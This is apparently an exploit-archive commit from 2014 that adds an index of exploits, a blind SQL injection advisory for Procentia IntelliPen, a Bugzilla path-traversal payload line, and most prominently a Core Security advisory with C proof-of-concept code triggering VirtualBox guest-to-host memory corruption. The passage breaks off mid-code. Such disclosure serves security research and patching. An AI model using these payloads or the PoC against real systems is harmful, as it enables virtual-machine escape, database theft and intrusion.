Updated 03_14_2014

2014-03-14 04:28:11 +00:00 · 2014-03-14 04:28:11 +00:00 · f48b6c6517
commit f48b6c6517
parent b6fddc2460
28 changed files with 1542 additions and 0 deletions
--- a/files.csv
+++ b/files.csv
@ -28985,3 +28985,30 @@ id,file,description,date,author,platform,type,port
 32203,platforms/php/webapps/32203.txt,"Yogurt Social Network 3.2 rc1 Module for XOOPS tribes.php uid Parameter XSS",2008-08-09,Lostmon,php,webapps,0
 32204,platforms/hardware/webapps/32204.txt,"ZyXEL Router P-660HN-T1A - Login Bypass",2014-03-12,"Michael Grifalconi",hardware,webapps,0
 32205,platforms/windows/local/32205.txt,"Huawei Technologies eSpace Meeting Service 1.0.0.23 - Local Privilege Escalation",2014-03-12,LiquidWorm,windows,local,0
+32207,platforms/php/webapps/32207.txt,"GNUPanel 0.3.5_R4 - Multiple Vulnerabilities",2014-03-12,"Necmettin COSKUN",php,webapps,80
+32208,platforms/multiple/dos/32208.txt,"Oracle VirtualBox 3D Acceleration - Multiple Vulnerabilities",2014-03-12,"Core Security",multiple,dos,0
+32209,platforms/windows/remote/32209.rb,"Yokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow",2014-03-12,metasploit,windows,remote,20171
+32210,platforms/windows/remote/32210.rb,"Yokogawa CENTUM CS 3000 BKBCopyD.exe Buffer Overflow",2014-03-12,metasploit,windows,remote,20111
+32212,platforms/asp/webapps/32212.txt,"Procentia IntelliPen 1.1.12.1520 (Data.aspx, value param) - Blind SQL Injection",2014-03-12,Portcullis,asp,webapps,80
+32213,platforms/php/webapps/32213.txt,"Vtiger CRM 5.4.0, 6.0 RC, 6.0.0 GA (browse.php, file param) - Local File Inclusion",2014-03-12,Portcullis,php,webapps,80
+32215,platforms/php/webapps/32215.txt,"RMSOFT Downloads Plus (rmdp) 1.5/1.7 Module for XOOPS search.php key Parameter XSS",2008-08-09,Lostmon,php,webapps,0
+32216,platforms/php/webapps/32216.txt,"RMSOFT Downloads Plus (rmdp) 1.5/1.7 Module for XOOPS down.php id Parameter XSS",2008-08-09,Lostmon,php,webapps,0
+32217,platforms/php/webapps/32217.txt,"Linkspider 1.08 Multiple Remote File Include Vulnerabilities",2008-08-08,"Rohit Bansal",php,webapps,0
+32218,platforms/php/webapps/32218.txt,"Domain Group Network GooCMS 1.02 'index.php' Cross-Site Scripting Vulnerability",2008-08-11,ahmadbaby,php,webapps,0
+32219,platforms/php/webapps/32219.txt,"Kayako SupportSuite 3.x visitor/index.php sessionid Parameter XSS",2008-08-11,"James Bercegay",php,webapps,0
+32220,platforms/php/webapps/32220.txt,"Kayako SupportSuite 3.x index.php filter Parameter XSS",2008-08-11,"James Bercegay",php,webapps,0
+32221,platforms/php/webapps/32221.txt,"Kayako SupportSuite 3.x staff/index.php customfieldlinkid Parameter SQL Injection",2008-08-11,"James Bercegay",php,webapps,0
+32222,platforms/multiple/dos/32222.rb,"Ruby <= 1.9 WEBrick::HTTP::DefaultFileHandler Crafted HTTP Request DoS",2008-08-11,"Keita Yamaguchi",multiple,dos,0
+32223,platforms/multiple/remote/32223.rb,"Ruby <= 1.9 dl Module DL.dlopen Arbitrary Library Access",2008-08-11,"Keita Yamaguchi",multiple,remote,0
+32224,platforms/multiple/remote/32224.rb,"Ruby <= 1.9 Safe Level Multiple Function Restriction Bypass",2008-08-11,"Keita Yamaguchi",multiple,remote,0
+32226,platforms/php/webapps/32226.txt,"Datafeed Studio 'patch.php' Remote File Include Vulnerability",2008-08-12,"Bug Researchers Group",php,webapps,0
+32227,platforms/php/webapps/32227.txt,"Datafeed Studio 1.6.2 'search.php' Cross-Site Scripting Vulnerability",2008-08-12,"Bug Researchers Group",php,webapps,0
+32228,platforms/linux/remote/32228.xml,"Bugzilla <= 3.1.4 '--attach_path' Directory Traversal Vulnerability",2008-08-12,"ilja van sprundel",linux,remote,0
+32229,platforms/windows/dos/32229.txt,"hMailServer 4.4.1 IMAP Command Remote Denial of Service Vulnerability",2008-08-12,Antunes,windows,dos,0
+32230,platforms/php/webapps/32230.txt,"IDevSpot PhpLinkExchange 1.01/1.02 'index.php' Multiple Cross-Site Scripting Vulnerabilities",2008-08-12,sl4xUz,php,webapps,0
+32231,platforms/php/webapps/32231.txt,"Meet#Web 0.8 modules.php root_path Parameter Remote File Inclusion",2008-08-13,"Rakesh S",php,webapps,0
+32232,platforms/php/webapps/32232.txt,"Meet#Web 0.8 ManagerResource.class.php root_path Parameter Remote File Inclusion",2008-08-13,"Rakesh S",php,webapps,0
+32233,platforms/php/webapps/32233.txt,"Meet#Web 0.8 ManagerRightsResource.class.php root_path Parameter Remote File Inclusion",2008-08-13,"Rakesh S",php,webapps,0
+32234,platforms/php/webapps/32234.txt,"Meet#Web 0.8 RegForm.class.php root_path Parameter Remote File Inclusion",2008-08-13,"Rakesh S",php,webapps,0
+32235,platforms/php/webapps/32235.txt,"Meet#Web 0.8 RegResource.class.php root_path Parameter Remote File Inclusion",2008-08-13,"Rakesh S",php,webapps,0
+32236,platforms/php/webapps/32236.txt,"Meet#Web 0.8 RegRightsResource.class.php root_path Parameter Remote File Inclusion",2008-08-13,"Rakesh S",php,webapps,0
--- a/platforms/asp/webapps/32212.txt
+++ b/platforms/asp/webapps/32212.txt
@ -0,0 +1,32 @@
+CVE: 	CVE-2014-2043
+Vendor: 	Procentia
+Product: 	IntelliPen
+Affected version: 	1.1.12.1520
+Fixed version: 	1.1.18.1658
+Reported by: 	Jerzy Kramarz
+Details:
+
+SQL injection has been found and confirmed within the software as an authenticated user. A successful attack could allow an authenticated attacker to access information such as usernames and password hashes that are stored in the database.
+
+The following URL and parameters have been confirmed to suffer from Blind SQL injection.
+
+http[s]://<host>/Resources/System/Templates/Data.aspx?DocID=1&field=JobID&value=1<SQL INJECTION>&JobID=1&ParentDocID=1694&InTab=1&ParentKey=JobNumber&NoStore=1&Popup=1
+
+This vulnerability exists because ‘value’ variable is not sanitised before it is used as part of an SQL query to retrived specific job information.
+Impact:
+
+An attacker would be able to exfiltrate the database, user credentials and in certain setup access the underling operating system.
+Exploit:
+
+Exploit code is not required.
+Vendor status:
+07/01/2014 	Advisory created
+16/01/2014 	Vendor contacted
+21/02/2014 	CVE obtained
+07/03/2014 	Published
+Copyright:
+
+Copyright © Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.
+Disclaimer:
+
+The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user’s risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.
--- a/platforms/linux/remote/32228.xml
+++ b/platforms/linux/remote/32228.xml
@ -0,0 +1,12 @@
+source: http://www.securityfocus.com/bid/30661/info
+
+Bugzilla is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.
+
+Exploiting this issue will allow an attacker to view arbitrary local files within the context of the server. Information harvested may aid in launching further attacks.
+
+The following versions are affected:
+
+Bugzilla 2.22.1 through 2.22.4
+Bugzilla 2.23.3 and later
+
+<data encoding="filename">../relative_path/to/local_file</data>
--- a/platforms/multiple/dos/32208.txt
+++ b/platforms/multiple/dos/32208.txt
@ -0,0 +1,843 @@
+Core Security - Corelabs Advisory
+http://corelabs.coresecurity.com/
+
+Oracle VirtualBox 3D Acceleration Multiple Memory Corruption Vulnerabilities
+
+
+
+1. *Advisory Information*
+
+Title: Oracle VirtualBox 3D Acceleration Multiple Memory Corruption
+Vulnerabilities
+Advisory ID: CORE-2014-0002
+Advisory URL:
+http://www.coresecurity.com/content/oracle-virtualbox-3d-acceleration-multiple-memory-corruption-vulnerabilities
+Date published: 2014-03-11
+Date of last update: 2014-03-11
+Vendors contacted: Oracle
+Release mode: User release
+
+
+
+2. *Vulnerability Information*
+
+Class: Improper Validation of Array Index [CWE-129], Improper Validation
+of Array Index [CWE-129], Improper Validation of Array Index [CWE-129]
+Impact: Code execution
+Remotely Exploitable: Yes
+Locally Exploitable: No
+CVE Name: CVE-2014-0981, CVE-2014-0982, CVE-2014-0983
+
+
+
+3. *Vulnerability Description*
+
+VirtualBox is a general-purpose full virtualizer for x86 hardware,
+targeted at server, desktop and embedded use.
+
+VirtualBox provides -among many other features- 3D Acceleration for
+guest machines
+through its Guest Additions. This feature allows guest machines to use
+the host machine's
+GPU to render 3D graphics based on then OpenGL or Direct3D APIs.
+
+Multiple memory corruption vulnerabilities have been found in the code
+that implements
+3D Acceleration for OpenGL graphics in Oracle VirtualBox.
+These vulnerabilities could allow an attacker who is already running
+code within
+a Guest OS to escape from the virtual machine and execute arbitrary code
+on the Host OS.
+
+
+4. *Vulnerable packages*
+
+   . Oracle VirtualBox v4.2.20 and earlier.
+   . Oracle VirtualBox v4.3.6 and earlier.
+   . Other versions may be affected too but they were no checked.
+
+5. *Non-vulnerable packages*
+
+   . Oracle VirtualBox v4.3.8.
+
+6. *Credits*
+
+This vulnerability was discovered and researched by Francisco Falcon from
+Core Exploit Writers Team. The publication of this advisory was coordinated
+by Andres Blanco from Core Advisories Team.
+
+
+
+7. *Technical Description / Proof of Concept Code*
+
+VirtualBox makes use of the *Chromium*[1] open-source library
+(not to be confused with the open-source web browser) in order to
+provide 3D Acceleration for OpenGL graphics.
+
+Chromium provides remote rendering of OpenGL graphics through a
+client/server model, in which
+a client (i.e. an OpenGL application) delegates the rendering to the
+server, which has access
+to 3D-capable hardware.
+
+When 3D Acceleration is enabled in VirtualBox, OpenGL apps running
+within a Guest OS
+(acting as Chromium clients) will send rendering commands to the
+Chromium server, which is
+running in the context of the hypervisor in the Host OS.
+
+The code that handles OpenGL rendering commands on the Host side is
+prone to multiple memory
+corruption vulnerabilities, as described below.
+
+
+7.1. *VirtualBox crNetRecvReadback Memory Corruption Vulnerability*
+
+[CVE-2014-0981] The first vulnerability is caused by a *design flaw* in
+Chromium. The Chromium server makes use
+of "*network pointers*". As defined in Chromium's documentation,
+'"Network pointers are
+simply memory addresses that reside on another machine.[...] The
+networking layer will then
+take care of writing the payload data to the specified address."'[2]
+
+So the Chromium's server code, which runs in the context of the
+VirtualBox hypervisor
+in the Host OS, provides a write-what-where memory corruption primitive
+*by design*, which
+can be exploited to corrupt arbitrary memory addresses with arbitrary
+data in the hypervisor process
+from within a virtual machine.
+
+This is the code of the vulnerable function [file
+'src/VBox/GuestHost/OpenGL/util/net.c'], which can
+be reached by sending a 'CR_MESSAGE_READBACK' message to the
+'VBoxSharedCrOpenGL' service:
+
+
+/-----
+/**
+ * Called by the main receive function when we get a CR_MESSAGE_READBACK
+ * message.  Used to implement glGet*() functions.
+ */
+static void
+crNetRecvReadback( CRMessageReadback *rb, unsigned int len )
+{
+    /* minus the header, the destination pointer,
+     * *and* the implicit writeback pointer at the head. */
+
+    int payload_len = len - sizeof( *rb );
+    int *writeback;
+    void *dest_ptr;
+    crMemcpy( &writeback, &(rb->writeback_ptr), sizeof( writeback ) );
+    crMemcpy( &dest_ptr, &(rb->readback_ptr), sizeof( dest_ptr ) );
+
+    (*writeback)--;
+    crMemcpy( dest_ptr, ((char *)rb) + sizeof(*rb), payload_len );
+}
+
+     
+-----/
+
+Note that 'rb' points to a 'CRMessageReadback' structure, which is fully
+controlled by the
+application running inside a VM that is sending OpenGL rendering
+commands to the Host side.
+The 'len' parameter is also fully controlled from the Guest side, so
+it's possible to:
+
+   1. decrement the value stored at any memory address within the
+address space of the hypervisor.
+   2. write any data to any memory address within the address space of
+the hypervisor.
+
+7.2. *VirtualBox crNetRecvWriteback Memory Corruption Vulnerability*
+
+[CVE-2014-0982] The second vulnerability is closely related to the first
+one, and it's also caused by Chromium's
+"*network pointers*".
+
+This is the code of the vulnerable function [file
+'src/VBox/GuestHost/OpenGL/util/net.c'], which can
+be reached by sending a 'CR_MESSAGE_WRITEBACK' message to the
+'VBoxSharedCrOpenGL' service:
+
+
+/-----
+/**
+ * Called by the main receive function when we get a CR_MESSAGE_WRITEBACK
+ * message.  Writeback is used to implement glGet*() functions.
+ */
+static void
+crNetRecvWriteback( CRMessageWriteback *wb )
+{
+    int *writeback;
+    crMemcpy( &writeback, &(wb->writeback_ptr), sizeof( writeback ) );
+    (*writeback)--;
+}
+     
+-----/
+
+Note that 'rb' points to a 'CRMessageWriteback' structure, which is
+fully controlled by the
+application running inside a VM that is sending OpenGL rendering
+commands to the Host side, so it's possible to
+decrement the value stored at any memory address within the address
+space of the hypervisor.
+
+
+7.3. *VirtualBox crServerDispatchVertexAttrib4NubARB Memory Corruption
+Vulnerability*
+
+[CVE-2014-0983] When an OpenGL application running inside a VM sends
+rendering commands (in the form of opcodes + data for those opcodes)
+through
+a 'CR_MESSAGE_OPCODES' message, the Chromium server will handle them in
+the 'crUnpack' function.
+The code for the 'crUnpack' function is automatically generated by the
+Python script located
+at 'src/VBox/HostServices/SharedOpenGL/unpacker/unpack.py'.
+
+This function is basically a big switch statement dispatching different
+functions according to the opcode being processed:
+
+
+/-----
+void crUnpack( const void *data, const void *opcodes,
+        unsigned int num_opcodes, SPUDispatchTable *table )
+{
+    [...]
+    unpack_opcodes = (const unsigned char *)opcodes;
+    cr_unpackData = (const unsigned char *)data;
+
+    for (i = 0 ; i < num_opcodes ; i++)
+    {
+        /*crDebug("Unpacking opcode \%d", *unpack_opcodes);*/
+        switch( *unpack_opcodes )
+        {
+            case CR_ALPHAFUNC_OPCODE: crUnpackAlphaFunc(); break;
+            case CR_ARRAYELEMENT_OPCODE: crUnpackArrayElement(); break;
+            case CR_BEGIN_OPCODE: crUnpackBegin(); break;
+            [...]
+     
+-----/
+
+When the opcode being processed is 'CR_VERTEXATTRIB4NUBARB_OPCODE'
+('0xEA'),
+the function to be invoked is 'crUnpackVertexAttrib4NubARB':
+
+
+/-----
+    [...]
+    case CR_VERTEXATTRIB4NUBARB_OPCODE: crUnpackVertexAttrib4NubARB();
+break;
+    [...]
+     
+-----/
+
+The 'crUnpackVertexAttrib4NubARB' function reads 5 values from the
+opcode data sent by the Chromium client,
+and just invokes 'cr_unpackDispatch.VertexAttrib4NubARB' with those 5
+values as arguments:
+
+
+/-----
+static void crUnpackVertexAttrib4NubARB(void)
+{
+  GLuint index = READ_DATA( 0, GLuint );
+  GLubyte x = READ_DATA( 4, GLubyte );
+  GLubyte y = READ_DATA( 5, GLubyte );
+  GLubyte z = READ_DATA( 6, GLubyte );
+  GLubyte w = READ_DATA( 7, GLubyte );
+  cr_unpackDispatch.VertexAttrib4NubARB( index, x, y, z, w );
+  INCR_DATA_PTR( 8 );
+}
+     
+-----/
+
+'VertexAttrib4NubARB' is a function pointer in a dispatch table, and
+points to the function
+'crServerDispatchVertexAttrib4NubARB', whose code is generated by the
+Python script located at
+'src/VBox/HostServices/SharedOpenGL/crserverlib/server_dispatch.py':
+
+
+/-----
+void SERVER_DISPATCH_APIENTRY crServerDispatchVertexAttrib4NubARB(
+GLuint index, GLubyte x, GLubyte y, GLubyte z, GLubyte w )
+{
+  cr_server.head_spu->dispatch_table.VertexAttrib4NubARB( index, x, y,
+z, w );
+  cr_server.current.c.vertexAttrib.ub4[index] = cr_unpackData;
+}
+     
+-----/
+
+Note that the 'index' parameter, which is a 4-byte integer coming from
+an untrusted source (the opcode data
+sent by the Chromium client from the VM), is used as an index within the
+'cr_server.current.c.vertexAttrib.ub4'
+array in order to write 'cr_unpackData' (which is a pointer to the
+attacker-controlled opcode data), without
+validating that the index is within the bounds of the array.
+This issue can be leveraged to corrupt arbitrary memory with a pointer
+to attacker-controlled data.
+
+Also note that *the same vulnerability affects several functions* whose
+code is generated by the
+'src/VBox/HostServices/SharedOpenGL/crserverlib/server_dispatch.py'
+Python script:
+
+
+/-----
+Opcode CR_VERTEXATTRIB1DARB_OPCODE   [0xDE]  -> function
+crServerDispatchVertexAttrib1dARB
+Opcode CR_VERTEXATTRIB1FARB_OPCODE   [0xDF]  -> function
+crServerDispatchVertexAttrib1fARB
+Opcode CR_VERTEXATTRIB1SARB_OPCODE   [0xE0]  -> function
+crServerDispatchVertexAttrib1sARB
+Opcode CR_VERTEXATTRIB2DARB_OPCODE   [0xE1]  -> function
+crServerDispatchVertexAttrib2dARB
+Opcode CR_VERTEXATTRIB2FARB_OPCODE   [0xE2]  -> function
+crServerDispatchVertexAttrib2fARB
+Opcode CR_VERTEXATTRIB2SARB_OPCODE   [0xE3]  -> function
+crServerDispatchVertexAttrib2sARB
+Opcode CR_VERTEXATTRIB3DARB_OPCODE   [0xE4]  -> function
+crServerDispatchVertexAttrib3dARB
+Opcode CR_VERTEXATTRIB3FARB_OPCODE   [0xE5]  -> function
+crServerDispatchVertexAttrib3fARB
+Opcode CR_VERTEXATTRIB3SARB_OPCODE   [0xE6]  -> function
+crServerDispatchVertexAttrib3sARB
+Opcode CR_VERTEXATTRIB4NUBARB_OPCODE [0xEA]  -> function
+crServerDispatchVertexAttrib4NubARB
+Opcode CR_VERTEXATTRIB4DARB_OPCODE   [0xEF]  -> function
+crServerDispatchVertexAttrib4dARB
+Opcode CR_VERTEXATTRIB4FARB_OPCODE   [0xF0]  -> function
+crServerDispatchVertexAttrib4fARB
+Opcode CR_VERTEXATTRIB4SARB_OPCODE   [0xF2]  -> function
+crServerDispatchVertexAttrib4sARB
+     
+-----/
+
+
+7.4. *Proof of Concept*
+
+
+/-----
+#include "stdafx.h"
+#include <windows.h>
+#include "vboxguest2.h"
+#include "vboxguest.h"
+#include "err.h"
+#include "vboxcropenglsvc.h"
+#include "cr_protocol.h"
+
+#define VBOXGUEST_DEVICE_NAME "\\\\.\\VBoxGuest"
+
+
+HANDLE open_device(){
+    HANDLE hDevice = CreateFile(VBOXGUEST_DEVICE_NAME,
+                            GENERIC_READ | GENERIC_WRITE,
+                            FILE_SHARE_READ | FILE_SHARE_WRITE,
+                            NULL,
+                            OPEN_EXISTING,
+                            FILE_ATTRIBUTE_NORMAL,
+                            NULL);
+
+    if (hDevice == INVALID_HANDLE_VALUE){
+        printf("[-] Could not open device %s .\n", VBOXGUEST_DEVICE_NAME);
+        exit(EXIT_FAILURE);
+    }
+    printf("[+] Handle to %s: 0x%X\n", VBOXGUEST_DEVICE_NAME, hDevice);
+    return hDevice;
+
+
+}
+
+
+uint32_t do_connect(HANDLE hDevice){
+    VBoxGuestHGCMConnectInfo info;
+    DWORD cbReturned = 0;
+    BOOL rc;
+
+    memset(&info, 0, sizeof(info));
+    info.Loc.type = VMMDevHGCMLoc_LocalHost_Existing;
+    strcpy(info.Loc.u.host.achName, "VBoxSharedCrOpenGL");
+
+    rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CONNECT, &info,
+sizeof(info), &info, sizeof(info), &cbReturned, NULL);
+    if (!rc){
+        printf("ERROR: DeviceIoControl failed in function do_connect()!
+LastError: %d\n", GetLastError());
+        exit(EXIT_FAILURE);
+    }
+
+    if (info.result == VINF_SUCCESS){
+        printf("HGCM connect was successful: client id =0x%x\n",
+info.u32ClientID);
+    }
+    else{
+        //If 3D Acceleration is disabled, info.result value will be -2900.
+        printf("[-] HGCM connect failed. Result: %d (Is 3D Acceleration
+enabled??)\n", info.result);
+        exit(EXIT_FAILURE);
+    }
+    return info.u32ClientID;
+}
+
+
+void do_disconnect(HANDLE hDevice, uint32_t u32ClientID){
+    BOOL rc;
+    VBoxGuestHGCMDisconnectInfo info;
+    DWORD cbReturned = 0;
+
+    memset(&info, 0, sizeof(info));
+    info.u32ClientID = u32ClientID;
+    printf("Sending VBOXGUEST_IOCTL_HGCM_DISCONNECT message...\n");
+    rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_DISCONNECT,
+&info, sizeof(info), &info, sizeof(info), &cbReturned, NULL);
+    if (!rc){
+        printf("ERROR: DeviceIoControl failed in function
+do_disconnect()! LastError: %d\n", GetLastError());
+        exit(EXIT_FAILURE);
+    }
+
+    if (info.result == VINF_SUCCESS){
+        printf("HGCM disconnect was successful.\n");
+    }
+    else{
+        printf("[-] HGCM disconnect failed. Result: %d\n", info.result);
+        exit(EXIT_FAILURE);
+    }
+
+}
+
+
+void set_version(HANDLE hDevice, uint32_t u32ClientID){
+    CRVBOXHGCMSETVERSION parms;
+    DWORD cbReturned = 0;
+    BOOL rc;
+
+    memset(&parms, 0, sizeof(parms));
+    parms.hdr.result      = VERR_WRONG_ORDER;
+    parms.hdr.u32ClientID = u32ClientID;
+    parms.hdr.u32Function = SHCRGL_GUEST_FN_SET_VERSION;
+    parms.hdr.cParms      = SHCRGL_CPARMS_SET_VERSION;
+
+    parms.vMajor.type      = VMMDevHGCMParmType_32bit;
+    parms.vMajor.u.value32 = CR_PROTOCOL_VERSION_MAJOR;
+    parms.vMinor.type      = VMMDevHGCMParmType_32bit;
+    parms.vMinor.u.value32 = CR_PROTOCOL_VERSION_MINOR;
+
+    rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,
+sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);
+
+    if (!rc){
+        printf("ERROR: DeviceIoControl failed in function set_version()!
+LastError: %d\n", GetLastError());
+        exit(EXIT_FAILURE);
+    }
+
+    if (parms.hdr.result == VINF_SUCCESS){
+        printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
+    }
+    else{
+        printf("Host didn't accept our version.\n");
+        exit(EXIT_FAILURE);
+    }
+}
+
+
+void set_pid(HANDLE hDevice, uint32_t u32ClientID){
+    CRVBOXHGCMSETPID parms;
+    DWORD cbReturned = 0;
+    BOOL rc;
+
+    memset(&parms, 0, sizeof(parms));
+    parms.hdr.result      = VERR_WRONG_ORDER;
+    parms.hdr.u32ClientID = u32ClientID;
+    parms.hdr.u32Function = SHCRGL_GUEST_FN_SET_PID;
+    parms.hdr.cParms      = SHCRGL_CPARMS_SET_PID;
+
+    parms.u64PID.type     = VMMDevHGCMParmType_64bit;
+    parms.u64PID.u.value64 = GetCurrentProcessId();
+
+    rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,
+sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);
+
+    if (!rc){
+        printf("ERROR: DeviceIoControl failed in function set_pid()!
+LastError: %d\n", GetLastError());
+        exit(EXIT_FAILURE);
+    }
+
+    if (parms.hdr.result == VINF_SUCCESS){
+        printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
+    }
+    else{
+        printf("Host didn't like our PID %d\n", GetCurrentProcessId());
+        exit(EXIT_FAILURE);
+    }
+
+}
+
+
+/* Triggers the vulnerability in the crNetRecvReadback function. */
+void trigger_message_readback(HANDLE hDevice, uint32_t u32ClientID){
+    CRVBOXHGCMINJECT parms;
+    DWORD cbReturned = 0;
+    BOOL rc;
+    char mybuf[1024];
+    CRMessageReadback msg;
+
+    memset(&msg, 0, sizeof(msg));
+    msg.header.type = CR_MESSAGE_READBACK;
+    msg.header.conn_id = 0x8899;
+
+
+    //This address will be decremented by 1
+    *((DWORD *)&msg.writeback_ptr.ptrSize) = 0x88888888;
+    //Destination address for the memcpy
+    *((DWORD *)&msg.readback_ptr.ptrSize) = 0x99999999;
+
+    memcpy(&mybuf, &msg, sizeof(msg));
+    strcpy(mybuf + sizeof(msg), "Hi hypervisor!");
+
+    memset(&parms, 0, sizeof(parms));
+    parms.hdr.result      = VERR_WRONG_ORDER;
+    parms.hdr.u32ClientID = u32ClientID;
+    parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT;
+    parms.hdr.cParms      = SHCRGL_CPARMS_INJECT;
+
+    parms.u32ClientID.type       = VMMDevHGCMParmType_32bit;
+    parms.u32ClientID.u.value32  = u32ClientID;
+
+    parms.pBuffer.type                   = VMMDevHGCMParmType_LinAddr_In;
+    parms.pBuffer.u.Pointer.size         = sizeof(mybuf); //size for the
+memcpy: sizeof(mybuf) - 0x18
+    parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;
+
+    rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,
+sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);
+
+    if (!rc){
+        printf("ERROR: DeviceIoControl failed in function
+trigger_message_readback()!. LastError: %d\n", GetLastError());
+        exit(EXIT_FAILURE);
+    }
+
+    if (parms.hdr.result == VINF_SUCCESS){
+        printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
+    }
+    else{
+        printf("HGCM Call failed. Result: %d\n", parms.hdr.result);
+        exit(EXIT_FAILURE);
+    }
+}
+
+
+/* Triggers the vulnerability in the crNetRecvWriteback function. */
+void trigger_message_writeback(HANDLE hDevice, uint32_t u32ClientID){
+    CRVBOXHGCMINJECT parms;
+    DWORD cbReturned = 0;
+    BOOL rc;
+    char mybuf[512];
+    CRMessage msg;
+
+    memset(&mybuf, 0, sizeof(mybuf));
+
+    memset(&msg, 0, sizeof(msg));
+    msg.writeback.header.type = CR_MESSAGE_WRITEBACK;
+    msg.writeback.header.conn_id = 0x8899;
+    //This address will be decremented by 1
+    *((DWORD *)msg.writeback.writeback_ptr.ptrSize) = 0xAABBCCDD;
+
+    memcpy(&mybuf, &msg, sizeof(msg));
+    strcpy(mybuf + sizeof(msg), "dummy");
+
+    memset(&parms, 0, sizeof(parms));
+    parms.hdr.result      = VERR_WRONG_ORDER;
+    parms.hdr.u32ClientID = u32ClientID;
+    parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT;
+    parms.hdr.cParms      = SHCRGL_CPARMS_INJECT;
+
+    parms.u32ClientID.type       = VMMDevHGCMParmType_32bit;
+    parms.u32ClientID.u.value32  = u32ClientID;
+
+    parms.pBuffer.type                   = VMMDevHGCMParmType_LinAddr_In;
+    parms.pBuffer.u.Pointer.size         = sizeof(mybuf);
+    parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;
+
+
+    rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,
+sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);
+
+    if (!rc){
+        printf("ERROR: DeviceIoControl failed in function
+trigger_message_writeback()! LastError: %d\n", GetLastError());
+        exit(EXIT_FAILURE);
+    }
+
+    if (parms.hdr.result == VINF_SUCCESS){
+        printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
+    }
+    else{
+        printf("HGCM Call failed. Result: %d\n", parms.hdr.result);
+        exit(EXIT_FAILURE);
+    }
+
+}
+
+
+/* Triggers the vulnerability in the crServerDispatchVertexAttrib4NubARB
+function. */
+void trigger_opcode_0xea(HANDLE hDevice, uint32_t u32ClientID){
+    CRVBOXHGCMINJECT parms;
+    char mybuf[0x10f0];
+    DWORD cbReturned = 0;
+    BOOL rc;
+
+    unsigned char opcodes[] = {0xFF, 0xea, 0x02, 0xf7};
+    DWORD opcode_data[] =
+                    {0x08,                        //Advance 8 bytes
+after executing opcode 0xF7, subopcode 0x30
+                    0x30,                        //Subopcode for opcode 0xF7
+                    0x331,                        //Argument for opcode 0x02
+                    0xFFFCFA4B,                    //This is the
+negative index used to trigger the memory corruption
+                    0x41414141};                //Junk
+
+    CRMessageOpcodes msg_opcodes;
+
+    memset(&mybuf, 0, sizeof(mybuf));
+
+    memset(&msg_opcodes, 0, sizeof(msg_opcodes));
+    msg_opcodes.header.conn_id = 0x8899;
+    msg_opcodes.header.type = CR_MESSAGE_OPCODES;
+    msg_opcodes.numOpcodes = sizeof(opcodes);
+
+    char *offset = (char *)&mybuf;
+    memcpy(offset, &msg_opcodes, sizeof(msg_opcodes));
+    offset += sizeof(msg_opcodes);
+
+    /*----- Opcodes -----*/
+    memcpy(offset, &opcodes, sizeof(opcodes));
+    offset += sizeof(opcodes);
+
+    /*----- data for the opcodes -----*/
+    memcpy(offset, &opcode_data, sizeof(opcode_data));
+    offset += sizeof(opcode_data);
+
+
+    memset(&parms, 0, sizeof(parms));
+    parms.hdr.result      = 0;
+    parms.hdr.u32ClientID = u32ClientID;
+    parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT;
+    parms.hdr.cParms      = SHCRGL_CPARMS_INJECT;
+
+    parms.u32ClientID.type       = VMMDevHGCMParmType_32bit;
+    parms.u32ClientID.u.value32  = u32ClientID;
+
+    parms.pBuffer.type                   = VMMDevHGCMParmType_LinAddr_In;
+    parms.pBuffer.u.Pointer.size         = sizeof(mybuf);
+    parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;
+
+    rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,
+sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);
+
+    if (!rc){
+        printf("ERROR: DeviceIoControl failed in function
+trigger_opcode_0xea()! LastError: %d\n", GetLastError());
+        exit(EXIT_FAILURE);
+    }
+
+    if (parms.hdr.result == VINF_SUCCESS){
+        printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
+    }
+    else{
+        printf("HGCM Call failed. Result: %d\n", parms.hdr.result);
+        exit(EXIT_FAILURE);
+    }
+
+}
+
+
+void poc(int option){
+    HANDLE hDevice;
+    uint32_t u32ClientID;
+
+    /* Connect to the VBoxSharedCrOpenGL service */
+    hDevice = open_device();
+    u32ClientID = do_connect(hDevice);
+
+    /* Set version and PID */
+    set_version(hDevice, u32ClientID);
+    set_pid(hDevice, u32ClientID);
+
+    switch (option){
+    case 1:
+        printf("[1] triggering the first bug...\n");
+        trigger_message_readback(hDevice, u32ClientID);
+        break;
+    case 2:
+        printf("[2] triggering the second bug...\n");
+        trigger_message_writeback(hDevice, u32ClientID);
+        break;
+    case 3:
+        printf("[3] triggering the third bug...\n");
+        trigger_opcode_0xea(hDevice, u32ClientID);
+        break;
+    default:
